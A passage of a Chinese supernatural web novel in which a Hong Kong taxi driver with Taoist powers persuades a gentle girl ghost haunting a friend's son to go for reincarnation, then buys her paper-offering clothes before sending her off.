“还食咩饭啊(还吃什么饭啊)!十万火急啊,搞定好我的事情,哥请你食龙虾鲍鱼!满汉全席都行!”
**一边说,一边就要拉古德起来,眼睛里的焦急都快溢出来了。
古德看他这副模样,知道肯定是出了大事,不然以**平时沉稳的性格,不会慌成这样。
他叹了口气,放下筷子,抽了张纸巾擦擦嘴:“行行行,怕了你了。走吧走吧。”
**见古德答应,脸色稍缓,连忙从口袋里掏出一张一百元面值的港币,快步走到收银台前塞给正在算账的阿秀:
“阿秀!德仔的单我买了!不用找了!”
阿秀愣了一下,还没反应过来,**已经拉着古德匆匆离开了餐厅,只留下门口晃动的铃铛声和一脸茫然的阿秀,以及桌上那碟只吃了几口的叉烧饭。
古德被**半推半就地弄上了自己的出租车。
**自己也拉开副驾驶的门,一屁股坐了进来,长长舒了口气,仿佛找到了主心骨。
古德一边系安全带,一边好奇地问:“大海哥,你的车呢?你怎么打车过来的?”
**抹了把额头的汗,喘着气说:“我是从家里直接打车过来的!急到车都唔记得开(急到车都忘了开)!”
古德点了点头,虽然还有些疑惑,但也没多问。
他熟练地“啪”一声按下计价器,语气自然地说:“大海哥,熟归熟,数目要分明,车费照计啊。”
**此刻哪还顾得上这点车费,连连摆手:“应该的应该的!快开车!去油麻地文蔚街‘文华阁’,6号楼,9楼901室!”
古德听到这个地址,心里微微一动。
油麻地那边老楼不少,这“文华阁”是十几年前开发出的新楼,看来**的儿女还挺有钱的。
他不再多言,发动车子,汇入了傍晚的车流。
路上,**稍微平复了一下情绪,开始跟古德讲述事情的经过,语气里充满了后怕和担忧:
“德仔,不瞒你说,我最近和女儿还有我儿子的关系缓和了很多,他们也让我去他们家住了。但是……但是这两天我发现我个仔(儿子),最近很不对劲!
成日自己在房间里自言自语,眼神恍惚惚的,好像……好跟人说话一样!我和我女儿都怀疑,是不是有脏东西缠住他了!”
他越说越激动:“今日白天找不到你,我心急啊!就通过朋友介绍,找到一个据说很厉害的大师上门!谁知道他是个骗子来着!
什么都不懂,就知道装神弄鬼,乱洒米念经,自己还被吓个半死!扑街啊!!”
**一脸懊悔:“幸好后来豪哥跟我说找到你了,不然我真不知道怎么办好了!”
古德安静地听着,手指轻轻敲着方向盘,心里大概有了谱。
看来是**的儿子被鬼魂缠上了,而且情况可能不轻。
他忽然想起一件事,问道:“大海哥,我之前不是给过你一张‘辟邪符’吗?你没给你儿子试试?”
一提到这个,**的脸色更加难看,带着几分惊恐:
“试了啊!就是因为试了才更加害怕!我拿着符想走近点我儿子,离他还有几步远,张符就……就‘呼’一声自己着火,烧成灰了!邪门到极啊!”
“符箓自燃?”古德眼中闪过一丝凝重。
能让他绘制的LV2辟邪符瞬间自燃,那缠着**儿子的东西,绝对不是普通的游魂野鬼!
其阴煞之气至少达到了恶鬼级别,甚至可能更强!
这可不是小事。<
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br>不过,他摸了摸随身挎包里沉甸甸的家伙事,感受着丹田内那滴液态法力珠,心里又安定了几分。
如今他实力大增,又有金光咒护体,就算面对厉鬼,也有一战之力!
信心还是很足的。
**忽然想到关键问题,紧张地看着古德:
“德仔,我知道你帮人处理这些事是要收费的。你同我讲,大概要多少钱?我就我就这个儿子,只要能救他,就算要我倾家荡产,卖车卖楼,我都愿意!”
看着**那布满血丝的眼睛里流露出的父爱和决绝,古德心里也有些触动。
他笑了笑,语气缓和地安抚道:
“大海哥,你言重了。从我们认识开始,你就没少关照我,帮我介绍客人,教我不少道理,这些我都记得。按理说,你的事就是我的事,我不该收钱。”
他话锋一转,带着点行业规矩的坚持:
“不过,做我们这行,有个老规矩,叫‘收人钱财,**’。收了钱,就等于接了因果,必须负责到底。
这样吧,你意思意思,给张‘大金牛’(一千元港币)讨个彩头就好。就当是走了个形式,了结这段‘交易’。其他的,等我们到了地方,看看具体情况再说。”
**听完,眼眶瞬间就红了,用力拍了拍古德的肩膀,声音都有些哽咽:
“德仔!好兄弟!我就知道我没看错人!够义气!这次真的要谢谢你!”
感动之余,**似乎觉得光是钱还不够表达谢意,他眼珠一转,忽然压低声音,脸上露出一种奇怪的笑容,凑近古德神秘兮兮地说:
“德仔,你看你帮了我这么大忙,我又没什么好报答你。我跟你讲,我女儿,真的是生得如花似玉,又乖又孝顺!不如……我给你牵条线?你跟她认识一下?”
“噗——!”古德正专注开车,听到这话,手猛地一抖,方向盘差点打滑,车子在路上画了个小小的S形,引来后车一阵急促的喇叭声!
古德赶紧稳住方向盘,心里疯狂吐槽:
“我顶!好你个**!我把你当老友,你居然想当我岳父?!你这算盘打得我在九龙都听见了!而且看你这副尊容……虽然为人仗义,但这长相确实有点……抽象?你女儿能好看到哪里去?”
当然,这话他只能在心里想想,面上还是保持着礼貌而不失尴尬的微笑,果断拒绝:
“大海哥!你的好意我心领了!不过我现在没有谈恋爱的打算,一心只想赚钱和修行。介绍女朋友就不用啦!”
**见古德拒绝得这么干脆,脸上露出十分惋惜的表情,咂咂嘴:“唉,可惜咯……我个女真系好乖噶(我女儿真的好乖的)……”
古德赶紧岔开话题,专注开车,不再接这个话茬。
一路无话,出租车很快驶入了油麻地,停在了**所说的那栋看起来有些年头的“文华阁”楼下。
“到了,就.....就是这里。”**指着楼上,脸色又重新变得紧张起来。
古德停好车,拔掉钥匙,深吸一口气,眼神变得锐利。
他拎起随身的挎包,拍了拍**的肩膀:“大海哥,放心,有我在。我们上去看看。”
第74章 靓仔,聊一聊?
**领着古德,脚步匆匆地爬上略显陈旧的楼梯。
楼道里的声控灯时亮时灭,光线昏暗,墙壁上贴着各种小广告,空气中弥漫着一股老楼特有的、混合着油烟和潮湿的气味。
来到九楼901室门口,**掏出钥匙,手都有些发抖,插了好几次才对准锁孔。
“咔哒”一声,门开了。
门刚开一条缝,两个女人的惊叫声就传了出来,伴随着一阵慌乱的脚步声。
紧接着,两个身影猛地从里面冲了出来,差点撞到**身上。
古德定睛一看,是两个年轻女子。
一个身材高挑苗条,穿着简单的家居服也难掩清秀气质,脸上写满了惊恐和担忧,看起来比较年轻,应该**的女儿,长相酷似演员曾化倩。
另一个则个子娇小一些,脸蛋圆圆的,带着点婴儿肥,此刻也吓得花容失色,看起来碾场许多,不知道是**的谁,她长相酷似以建宁公主等角色闻名的黄金配角刘乔方。
“爸!你终于回来了!吓死我们了!”**女儿带着哭腔喊道,一把抓住**的胳膊。
“姐夫!子朗他……他回来了,他又在房间里自言自语!好可怕啊!”**小姨子也声音发颤地附和道。
两个女人显然精神高度紧张,叽叽喳喳地说个不停,场面一时有些混乱。
“好了好了!别吵了!我这不是把高人请来了吗!安静点!”
**连忙安抚女儿和小姨子,示意她们镇定。
而古德的注意力,早已越过了她们,投向了屋内深处。
他敏锐地感觉到,从走廊尽头一间紧闭的卧室门缝里,正丝丝缕缕地渗透出一股极其浓郁的阴气!
这阴气的强度,远超他之前遇到的那些恶鬼!
但奇怪的是,这股阴气中并没有太多暴戾怨毒的情绪?
“情况不简单……”古德眉头微蹙,不敢大意。
他暗中深吸一口气,体内那滴液态法力珠迅速流转,双手在身前看似随意地一拢,实则已掐好金光指诀,心中快速默诵真言:
“天地玄宗,万炁本根。广修亿劫,证吾神通……三界内外,惟道独尊。体有金光,覆映吾身……金光速现,覆护**。急急如律令!”
嗡!
一声微不可闻的轻响,一道柔和而凝实的淡金色光芒瞬间自古德体内透发而出,如同给他披上了一层薄薄的金纱!
光芒流转,将他周身笼罩,散发出一种庄严神圣、诸邪辟易的气息!
房间内弥漫的阴寒之气仿佛遇到克星,瞬间被逼退了几分!
“哇!”
“啊!”
“这……这是?!”
**、**女儿还有他小姨子三人被这突如其来的变化惊呆了,齐刷刷地后退半步,张大了嘴巴,眼睛瞪得溜圆,看着瞬间变成“小金人”的古德,仿佛看到了什么不可思议的神迹!
连刚才的恐慌都暂时被震惊所取代。
古德没有理会他们的惊讶,感受了一下法力消耗。
能维持金光咒每2分钟大约消耗5丝液态法力,以他目前60丝的总量,撑个二十几分钟问题不大,消耗确实比预想的要小。
他沉声道:“你们留在外面,我先进去看看情况。”
说完,他不再犹豫,大步走向那间阴气最重的卧室。
来到门前,他丝毫没有敲门的意思,直接抬起右脚,灌注一丝气力,猛地踹在门锁位置!
“砰!”
一声闷响,并不结实的房门应声而开,撞在后面的墙上。
房间内的景象映入眼帘。
一个穿着休闲服、长相帅气、眉眼间带着几分机灵和倔强的年轻男子正背对着门口,情绪激动地对着空气说着什么。
听到破门声,他猛地转过身,脸上先是恼怒,待看到门口金光闪闪的古德时,瞬间化为惊愕,脱口而出:
“哇哦!小……小金人?!拍戏啊?”
古德没理他的吐槽,目光锐利地越过他,锁定在他身后的半空中。
那里,正悬浮着一个穿着可爱公主裙、脸蛋肉乎乎像个小包子、年纪约莫十三四岁的小女孩虚影!
小女孩周身散发着惊人的阴气,但眼神清澈,此刻正带着明显的警惕和害怕,紧紧盯着古德,小手还下意识地抓着前面男子的衣角。
“果然有鬼!好强的阴气!”
古德心中凛然,右手迅速探入随身挎包,摸出了那柄用红线串着五帝钱制成的铜钱剑!
剑身之上,早已贴好了一张绘制着朱砂符文的“斩鬼符”。
斩鬼符除了可以直接使用外,还可以贴在桃木剑,铜钱剑上使用,加强法器的威力。
古德左手并指如剑,在剑身上快速一抹,一丝法力注入!
“嗡……”
铜钱剑轻微震颤,贴着的斩鬼符泛起微光,整柄剑仿佛被镀上了一层淡淡的金芒,散发出凌厉的破邪之气!
“呀!郎朗救我!那个金闪闪的好可怕!”
那小女鬼感受到铜钱剑的威胁,吓得尖叫一声,整个魂体都缩到了年轻男子的背后,瑟瑟发抖。
那年轻男子见状,立刻张开双臂护在身后,虽然面对金光闪闪、手持法器的古德也有些发怵,但还是强自镇定地喝道:
“喂!你干什么!你谁啊?私闯民宅还动武器?我警告你,我是警察!你现在这是**你知道吗?!”
“警察?朗朗?”
古德听到小女鬼喊出“郎朗”,再仔细打量了一下这男子的面容,怎么跟郭进安一样,脑海中电光石火般闪过一段记忆!
郭进安演的角色……**
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的儿子……郎朗…….于子朗?
难道是....《古灵精探》!
对了!是这部电视剧!
怪不得觉得**这名字耳熟!
这段时间见到的明星脸太多,他都有些脸盲了,要不是有特殊的特征,他已经都分不清那部剧情了。
那么,这个阴气极重却无明显恶意的女鬼,应该就是剧中那个缠着于子朗,专门破坏他姻缘的小女鬼小宜了。
想通关键,古德心中顿时了然。
不过,了然归了然,古德并不会因为“知道”剧情就完全放松警惕。
毕竟这是现实,谁知道会不会有偏差?
这小宜的阴气强度实在有些超标,跟电视剧里的完全不一样,万一失控,后果不堪设想。
但看于子朗这拼死维护的架势,直接动手肯定不行,反而可能激化矛盾。
古德心念电转,决定改变策略。
硬的不行,就来软的,是时候又可以展现他嘴炮...啊....不对,以理服人的本事了。
古德准备先试试沟通,毕竟他也是讲道理的人。
他心随意动,缓缓收敛了体表的金光咒。
金光如同潮水般退去,但他体内的法力依旧暗自运转,保持着警惕,身上的护身符也处于激活状态以防万一。
**几人此时也哆哆嗦嗦地凑到了门口,**焦急地问:“阿德,怎么样?我儿子是不是被鬼迷了?你……你快救救他啊!”
于子晴也大着胆子喊道:“子朗!你快过来啊!别吓姐姐!”
于子朗却固执地摇头,对于子晴道:“姐!我没事!我没被迷!你们别担心!”
古德看着这僵持的场面,知道必须由自己来打破。
他对**道:“大海哥,你们先到客厅坐一会儿,喝杯水定定神。这里交给我,相信我,我会处理好的。”
**看着古德沉稳的眼神,又看了看一脸倔强的儿子,犹豫了一下,最终还是选择相信古德,拉着还在担心的女儿和小姨子退到了客厅。
古德反手将被他踹坏锁的房门虚掩上,虽然关不严,但也能隔绝一部分视线和声音。
他放松了紧绷的身体姿态,但精神依旧高度集中,手里的铜钱剑也并未收起。
他缓步走到房间里的书桌旁,拉出椅子,坦然坐下。
然后将铜钱剑随意地横在膝盖上,手指有一下没一下地轻轻敲打着剑身,发出细微的“嗒、嗒”声。
他抬起头,目光平静地看向依旧一脸戒备的于子朗,以及从他肩膀后面偷偷探出半个脑袋、紧张兮兮望着自己的小女鬼小宜。
古德嘴角微微勾起一抹弧度,挑了挑眉,用带着点调侃的语气开口道:
“靓仔,还有你身后那位鬼丫头,有没有兴趣……坐下来聊聊?”
第75章 说服于子朗和女鬼小宜
于子朗用警惕的眼神上下打量着古德,身体依旧挡在小宜前面,语气带着警惕:
“谈?有什么好谈的?如果你是来收鬼的,想伤害小宜,那就别怪我以**和非法闯入的罪名把你铐回警局!”
他下意识地摸向腰间,虽然没带**,但气势很足。
古德看着他这副护犊子的样子,无奈地叹了口气,语气放缓,试图讲道理:
“靓仔,你先别激动。我不是来打架的。咱们讲讲道理行不行?人有人道,鬼有鬼途,阴阳两界,各有各的规矩。”
他顿了顿,眼神变得深邃起来:“正所谓人鬼殊途,你俩在一起待得越久,你就会越倒霉。你难道没有发现,你的运气特别背吗?”
话音落下,空气像是被拉得更紧了一分。
古德的目光越过于子朗,直接看向躲在他身后、只露出半个包子脸的小宜,面无表情的继续说道:
“还有你,小丫头。你缠着他,不就是因为心有执念,找不到去下面的路,没法投胎转世吗?但是像个孤魂野鬼一样飘着,有意思吗?”
这一句,像是直接戳进了小宜心里最柔软的地方。
她的小嘴不自觉地一瘪,原本明亮的眼神一下子暗淡下来,整个人往于子朗身后缩了缩,揪着衣角的小手也更紧了几分。
她不知道古德是怎么知道这些的,但是她很不想离开于子朗,不过听到古德说,会影响于子朗的运气,让于子朗变的倒霉,她又犹豫了。
古德继续加码,抛出了诱惑:“我认识一位地府有关系的阿婆,专门接引你们这种滞留阳间的鬼魂下去。
像你这样,身上没有血债怨气,魂魄还挺纯净的,下去走‘绿色通道’,再稍微打点一下,投个好胎、找个好人家,根本不是难事。总比在这里耗着强吧?”
于子朗听到古德说他运气背,眉头下意识地皱了起来。
他回想起最近这几年。
自从那场案件后,他觉醒了那种触摸尸体就能获取线索的诡异通灵能力后,破案效率是高了,但倒霉事也确实一件接一件。
不是关键时刻掉链子,就是总遇到些莫名其妙的阻碍,虽然没出什么大事,但也确实挺闹心。
他之前只以为是能力带来的副作用,现在被古德一点,心里不禁有些动摇。
他回头看了看小宜,发现小丫头正低着头,一脸愧疚和不安,小手扭在一起,显然她也意识到自己可能真的影响了于子朗。
于子朗心里一软。
“……小宜,没事的。”
于子朗下意识伸手去摸她的头,虽然摸不到实感,却依旧轻声安慰,“你看我这不是活蹦乱跳的嘛?一点小霉运而已,我扛得住!”
他努力挤出一抹笑容,想让她安心。
古德在一旁听得心里疯狂吐槽:
“活蹦乱跳?大哥你心真大!现在是没事,再这么下去,等你阳气被侵蚀得差不多了,运势衰到谷底,到时候就不是踩狗屎那么简单了!
电视里最后就被撞**,虽然也有被他女朋友克的缘故,但根子还是在这长期接触阴魂上啊!除非这个鬼能还阳,就像倩女幽魂里的小倩一样,不然这就是个死局!”
吐槽归吐槽,古德面上还是那副循循善诱的表情,继续发力:
“这位阿Sir,你为朋友着想是好事。但你也得为她长远考虑吧?你难道真想看着她永远做个孤魂野鬼,无依无靠,说不定哪天被更凶的恶鬼欺负得魂飞魄散?你忍心吗?”
这话戳中了于子朗的软肋。
他确实最担心的就是这个。
他自己倒霉点无所谓,但不能害了小宜。
他沉默了几秒,抬起头,严肃地看着古德:“你……你真能保证安全送她去投胎?不会骗她?不会伤害她?”
古德一听这语气,知道有戏!
能不动手就收服一个厉鬼级别的,这阴德可赚大发了,这简直是天上掉馅饼!
他立刻摆出最真诚的表情,右手举起作发誓状:
“我古德做事,向来童叟无欺,信誉至上!你要是不放心,晚上可以亲自跟着我。今晚我正好有一批客户要统一送下去交差,你可以在旁边观看,看看我是怎么操作的!”
于子朗紧紧盯着古德的眼睛,试图找出任何一丝欺骗的痕迹。
但古德眼神清澈,语气笃定,看起来不像说谎。
他犹豫了一下,转过身,蹲下来,平视着飘在空中的小宜,柔声问道:“小宜,你自己怎么想?你……想不想去投胎?重新开始?”
小宜看着于子朗,大眼睛里满是不舍,声音带着哭腔:“郎朗……我……我是想去投胎的,可是……可是我舍不得你呀……我怕以后再也见不到你了……”
古德适时地插了一句嘴,带着点调侃的语气:
“哎,小丫头,这有什么好舍不得的?投胎又不是永别。你要是真舍不得他,到时候求那位阿婆帮帮忙,投胎到他家,给他当女儿不就行了?天天都能见到,他还得疼你爱你养你一辈子,多好!”
小宜一听,眼睛“唰”地一下就亮了!
对呀!这个办法好!
她立刻破涕为笑,兴奋地对于子朗说:“郎朗!你听到没有!我可以当你女儿!这样我们就不用分开了!”
于子朗被古德这脑回路清奇的建议搞得哭笑不得,无奈地扶额:
“拜托啊大师!我现在连个正经女朋友都没有,跟谁生女儿去啊?你这建议也太超前了吧!”
小宜却来了精神,掰着手指头开始规划:
“郎朗你别担心!之前是我不懂事,老是捣乱不让你交女朋友!我走了以后,你肯定很快就能找到的!我觉得你们警局那个晶晶姐姐就很好!人漂亮又温柔!你们很有夫妻相的!你要加油哦!”
于子朗听得一脸黑线,作势要弹她脑门:“喂!小孩子别乱点鸳鸯谱!人家晶晶有男朋友的!我不能干那种事!”
小宜歪着头,一脸天真加笃定:“可是我的直觉很准的!我觉得你们俩就是有缘份!她的男朋友……嗯……反正我觉得你更好!”
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于子朗被她逗笑了,摆摆手:“行了行了,大人的事小孩子别操心。”
他站起身,重新看向古德,表情变得郑重:“大师,我们相信你。晚上,我跟你一起去送小宜。”
小宜虽然还是有点不舍,但也乖巧地点了点头:“嗯!郎朗,你要好好的!等我投胎来找你!”
古德见事情谈妥,心里松了口气,点了点头:
“好,那说定了。现在你先去安抚一下你老爸和老姐他们吧,他们在外面估计都快吓出心脏病了。对了,我叫古德。”
于子朗挠了挠头,露出一个略带歉意的笑容:“那……阿德?我可以这么叫你吗?其实我之前跟他们解释过很多次了,说小宜不会害人,是他们自己胆子小,总是不信。”
古德对于这略显亲近的称呼有点意外,但也没在意,点了点头:“随你。走吧,先出去让他们安心。”
古德收起铜钱剑,于子朗也放松下来,两人一起走出卧室。
小宜则飘在于子朗身边,好奇地东张西望。
客厅里,**、于子晴和**小姨子sa姨三人正坐立不安,看到他们出来,立刻围了上来。
“德仔!怎么样了?子朗他……没事了吧?”**急切地问道,眼睛在于子朗身上扫来扫去。
古德看着他们担忧的样子,忽然恶作剧心起,嘴角勾起一抹坏笑:
“大海哥,你儿子没事了。不过嘛……我给你们看个‘好东西’,让你们彻底放心!”
说完,他不等三人反应,以迅雷不及掩耳之势从挎包里抽出三对翠绿的柳叶,运起一丝法力,快速在三人眉心各自一贴!
同时口中低喝:“天地清明,借法开眼!敕!”
**三人只觉得眉心一凉,眼前景物瞬间模糊了一下,随即恢复正常。
但下一刻,他们的目光不由自主地落在了于子朗身旁的空处。
那里,赫然飘着一个穿着公主裙、脸蛋肉乎乎、正眨巴着大眼睛好奇看着他们的小女孩虚影!
“鬼……鬼啊——!!!”
凄厉的尖叫声瞬间划破了客厅的宁静!
**吓得一屁股瘫坐在沙发上,于子晴花容失色,连连后退撞到了墙上。
而心理承受能力最差的sa姨,更是两眼一翻,喉咙里发出“咯”的一声,直接软绵绵地晕倒在地!
小宜被这突如其来的尖叫吓得缩了缩脖子,委屈地扁着嘴:“人家……人家有那么可怕吗?我明明很可爱的呀……”
于子朗看着眼前这鸡飞狗跳的一幕,又看了一眼罪魁祸首古德那带着恶作剧得逞笑意的脸,无奈地翻了个大大的白眼。
得,这下解释起来更麻烦了。
他认命地叹了口气,走上前去,开始安抚受惊过度的老爸和老姐,以及准备弄醒晕倒的小姨子。
而古德则功成身退般地耸耸肩,深藏功与名。
这样多好,让他们亲眼见一次,总比自己费尽口舌解释要直观得多。
不过吓归吓,古德还是做好了事后准备。
第76章 准备送小宜去投胎
看着客厅里鸡飞狗跳、惊魂未定的**三人,以及一脸委屈的小宜。
古德靠在吧台,吃了一会瓜后。
他转头问于子朗:“子朗,你家厨房在哪儿?我去拿个干净的空碗和一壶凉白开来。”
他收起看戏的表情,语气变得认真。
于子朗虽然不明白古德要干什么,不过还是本能地抬手指了个方向:“……在那边。”
古德“嗯”了一声,脚步稳稳地走向厨房。
厨房里还残留着晚饭的味道,油烟与酱香混在一起,他在碗柜里挑了一个白瓷碗,又仔细地从冷水壶里倒了大半碗凉白开。
其实水的温度要接近人体阴阳平衡的“中和”状态是最好。
不过这关系也不大。
他端着水走回客厅,他将碗放在茶几上,然后从随身挎包里取出一张化煞符。
他神色一肃,左手托碗,右手双指夹住符纸:
“天地自然,秽气分散;灵符化煞,破晦除难;洞中玄虚,晃朗太元;急急如律令!敕!”
随着咒语念动,他指尖微微发力,一丝精纯的法力渡入符纸之中!
嗡!
那“化煞符”无火自燃!
黄色的符纸边缘瞬间窜起一缕幽蓝色的火苗,迅速蔓延开来,却没有灼热感,反而散发出一股清冽祥和的气息。
古德手腕一抖,将燃烧的符纸精准地投入碗中的凉白开里。
嗤——!
符纸遇水,非但没有熄灭,反而燃烧得更旺!
幽蓝色的火焰在水面上跳跃,将符纸上的朱砂符文一点点熔解、化开,如同墨汁滴入清水,迅速晕染开来,但颜色却是奇异的淡金色。
几个呼吸间,整张符纸便彻底化为灰烬,融于水中。
原本清澈的凉白开,此刻变成了一碗泛着淡淡灰黄色、但内里又隐隐有金光流转的液体。
**和于子晴看得目瞪口呆,连害怕都暂时忘了。
这手段,比刚才那个骗子大师洒米念经不知高明了多少倍!
古德端起碗,对**解释道:“大海哥,这碗‘化煞安神符水’,能驱散你们身上的晦气,安抚受惊的心神。来,每人喝几口,分了它。”
那三人和小宜接触的时间也不短,所以身上多少也带了衰败之气和阴气,虽然不多,但是足以让他们倒霉。
不然电视剧里他们也不会一直倒霉连连。
这碗符水可以驱散他们体内微弱阴气和衰败之气。
这时,晕倒的sa姨也被于子朗用冷水拍脸弄醒了,还是一副惊魂未定的样子。
于子朗和**费了不少口舌,才让她们勉强相信小宜确实是个“好鬼”,不会害人。
听到古德说这符水能去晦气安神,**第一个接过碗,虽然看着那灰黄色的水有点犹豫,但出于对古德的信任,还是仰头“咕咚咕咚”喝了几大口,然后把碗递给女儿。
于子晴和sa姨面面相觑,最后也硬着头皮各自喝了一些。
符水下肚,三人顿时感觉一股暖流从胃部扩散开来,流向四肢百骸,原本因为惊吓而冰凉的手脚渐渐回暖,一直紧绷的神经也奇异地松弛下来,仿佛卸下了千斤重担,连呼吸都顺畅了许多。
他们的脸色肉眼可见地恢复了血色,精神也比方才安稳了许多。
“呼……舒服多了!”
**长长吐出一口浊气,脸上露出轻松的笑容。
他拍了拍胸口,感觉浑身轻松,“德仔,你这符水真神了!这次真是太谢谢你了!走走走,我请你吃鲍鱼龙虾去!必须好好谢你!”
古德摆了摆手,笑道:“大海哥,你的心意我领了。不过今晚我还有正事要办,下次吧,下次我一定不跟你客气。”
**见状,也不好再坚持,连忙从口袋里掏出一叠千元面值的“大金牛”,看也不看就要塞给古德:“那这钱你务必收下!辛苦费!”
古德只是淡淡一笑,从那叠钱里抽出一张,剩下的全都推了回去,态度坚决:
“大海哥,我们说好了一张就是一张。你多给我,那不是打我脸吗?你要是实在过意不去,以后多请我吃几顿好的就行。”
**见古德态度坚决,知道他不是客套,只好把钱收起来,用力拍着胸脯保证:
“没问题!包在我身上!明天!明天就请你!鲍鱼龙虾管够!”
“那我可记着了。”
古德笑着点头,语气轻松,但眼神已经开始收回那份随和,重新变得专注起来。
“对了,大海哥,我带你儿子先走了,别担心。”
他转过身,朝于子朗和小宜挥了挥手:“子朗,小宜,我们走。”
**连忙道:“好好好,你们快去忙正事!有德仔你在,我放一百个心!”
古德点了点头,带着于子朗和小宜走出了于家。
夜风扑面而来,带着一丝湿润的凉意。
走到楼下,古德熟练地拉开出租车门坐了进去。
接着很自然“啪”的一声按下了计价器,那声脆响在这安静的夜色中格外清晰。
“于sir,不介意我打表收费吧。”
他侧头笑着说道,语气半开玩笑,半认真。
于子朗微微一怔,似乎没想到这种场合古德还能谈起车费,但随即又笑了出来,摇头坐上副驾驶,系好安全带。
他的姿态比刚才轻松许多,恢复了那个平时略带吊儿郎当、风趣幽默的自己。
“不介意不介意。”他摆摆手,“你开出租的,载着客当然得打表,不然别的乘客看见空车灯亮着,岂不是乱招呼?理解理解。还有啊,你也别叫我于sir了,叫我子朗就行。”
“行,那就子朗。”古德轻笑一声,踩下油门。
其实就算子朗真介意,这表他也是要打的。
正所谓做一行爱一行,他爱开出租车,肯定不是为了那区区的公里点数。
出租车缓缓驶出小区,轮胎碾过地面发出低低的摩擦声,很快融入了夜晚的车流。
街灯一盏盏向后掠过,远处霓虹灯的光芒映照在挡风玻璃上,像流动
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的星河。
古德朝着阴阳路的方向开去,虽然还没到子时,但他估计岚婆可能还在888号附近监视着那个厉鬼,正好可以提前碰头。
车内的气氛渐渐从先前的紧绷转为轻松。
“子朗,”古德一边打着方向盘,一边随口问道,“你的阴阳眼是最近才开的吧?不然大海哥早就找我了。”
于子朗点了点头,脸上露出些回忆的神色:
“是啊,就前几天的事。我在家里不小心被电了一下,接着就能看到小宜了,还有……路上偶尔也能看到一些模模糊糊、飘来飘去的身影。”
古德饶有兴趣地问:“哦?看到路上的‘好朋友’,你没好奇上去打个招呼?”
他深知人性,很多人有了阴阳眼后,初期总会按捺不住好奇。
于子朗摸了摸鼻子,有点尴尬地笑了笑:“好奇是好奇过……但我刚想靠近点看清楚,它们就好像受到什么惊吓似的,‘嗖’一下就飘走了,跑得比兔子还快。”
古德闻言,透过后视镜瞥了一眼正以倒栽葱姿势,上半身探进车里、下半身飘在车外,自顾自玩得不亦乐乎的小宜,若有所思地点了点头。
他估计,那些游魂野鬼不是被于子朗吓跑的,而是被小宜身上那股强大的厉鬼级阴气给惊走的。
对它们来说,小宜就像是一头天生的掠食者,靠近就是作死。
“希望系统把车子升级以后能给力一点。”
古德在心里默默吐槽,“不然这些小鬼一个个把我的车当免费游乐场,随随便便穿进穿出,我这司机也太没面子了。
要是贴满符箓又影响市容,吓到普通乘客……希望系统升级后能给点实用的车辆改装选项。”
就在这时,后排那边的小宜似乎玩累了,慢慢飘回车厢里,规规矩矩坐在后座。
她低头扯了扯自己身上那件有些陈旧、甚至带着点虚幻感的公主裙,小脸上露出委屈巴巴的表情:
“郎朗,阿德……我……我下去之前,能不能换一身新衣服呀?我这身裙子都穿了好多年了……”
她说着,声音越来越小,带着点小女孩的爱美和羞涩。
这句话一出,副驾驶的于子朗神情明显一僵,眼底闪过一丝深深的愧疚。
小宜家人都在国外,根本没人祭奠她,更别说给她烧衣服了。
自己也是这两天才能看到她,光顾着惊讶和相处,完全没想到这茬。
“阿德,”他立刻转头,看向古德,语气里带着请求,“你看……能不能想办法给小宜烧几件新衣服?她这些年,确实受苦了。”
古德看着小宜那纯净的眼神和带着期盼的小脸,心里也是一软。
这丫头,做了这么多年孤魂野鬼,还能保持这么单纯的心性,这样的鬼魂实属难得。
他点了点头,爽快答应:“行,没问题。咱们现在就去个地方,保证让小宜漂漂亮亮地去投胎!”
说完,他方向盘一打,改变了原定路线,朝着纸扎陈的店铺方向驶去。
第77章 一些来自阴间的小科普
古德开着车,载着于子朗和小宜,穿行在夜晚的街道上。
没多久,便来到了纸扎陈开的那间略显偏僻、但招牌老旧的纸扎铺。
铺子门口挂着两盏昏黄的白灯笼,在夜风中轻轻摇晃。
古德停好车,率先走了进去。
门上的风铃被风带动,发出一阵“叮铃铃”的脆响。
铺子里弥漫着一股淡淡的檀香和纸张、竹篾特有的气味。
纸扎陈正坐在柜台后面,就着一盏台灯,全神贯注地扎制着一件东西。
古德定睛一看,发现那似乎是一把造型相当奇特的……纸扎**?
枪身上还用彩纸贴出了疑似“瞄准镜”和“弹匣”的部件,看起来有模有样。
古德眼角忍不住跳了跳,心里吐槽:“纸扎陈这是准备做地下**商吗?”
纸扎陈听到铃响,抬起头,看到是古德,脸上露出和蔼的笑容,放下手中的活计:
“呦,德仔?稀客啊!今天怎么有空过来?是不是符纸用完了?我刚进了一批上好的朱砂黄表纸。”
古德摆了摆手,笑道:“陈老板,今天不是来进货的,是给你带生意来了。”
他侧身让开,指了指跟在身后进来的于子朗,以及飘在于子朗旁边、正好奇地东张西望的小宜。
“麻烦你给这位小姑娘置办几身行头,要小女孩穿的衣服,漂亮点的,再搭些她喜欢的小玩意儿。”
纸扎陈目光扫过于子朗,又落在小宜的魂体上,眼中闪过一丝了然。
他笑着站起身,拍了拍手上的纸屑:“哦~明白了,给小客人送行是吧?没问题,包在我身上!”
他转身在堆满各种纸扎精品的货架上翻找起来,嘴里还念叨着:
“小姑娘家,肯定喜欢漂亮的裙子……这个粉色公主裙不错,料子挺括,上色均匀……还有这套背带裤,活泼……哦,这个洋娃娃也好,大眼睛会动……”
很快,纸扎陈就抱着一摞精心制作的纸扎衣物和几个小玩具走了过来,有裙子、鞋子、小包,甚至还有一个纸扎的梳妆台模型。
他和蔼地弯下腰,问小宜:“小姑娘,你叫什么名字呀?告诉爷爷,爷爷帮你把这些‘烧’给你,你就能收到啦。”
小宜有些害羞,躲在于子朗腿后,小声说:“我叫小宜……”
“好,小宜乖。”
纸扎陈记下名字,抱着这堆东西走到店铺门口一个专门用来焚烧祭品的黑色铁桶旁。
他熟练地将纸扎衣物玩具放入桶内,拿出火柴,“嗤”一声划燃,将火苗凑近纸扎。
奇异的一幕发生了!
那些纸扎品遇火即燃,火苗却不是寻常的橘红色,而是带着一丝幽蓝!
燃烧速度极快,几乎在眨眼之间,那一摞精美的纸扎品就化为了轻飘飘的灰烬,连一点烟尘都没多冒,仿佛被某种无形的力量瞬间抽走了精华。
紧接着,更神奇的事情发生了!
站在于子朗身边的小宜,身上那件略显陈旧虚幻的公主裙,如同被一阵微风吹过,波纹荡漾间,瞬间变成了一件崭新、华丽、细节精美的粉色公主裙!
裙摆上甚至还有纸扎上描绘的蕾丝花边纹路,栩栩如生!
“哇!好漂亮!”
小宜惊喜地低头看着自己的新裙子,开心地转了个圈。
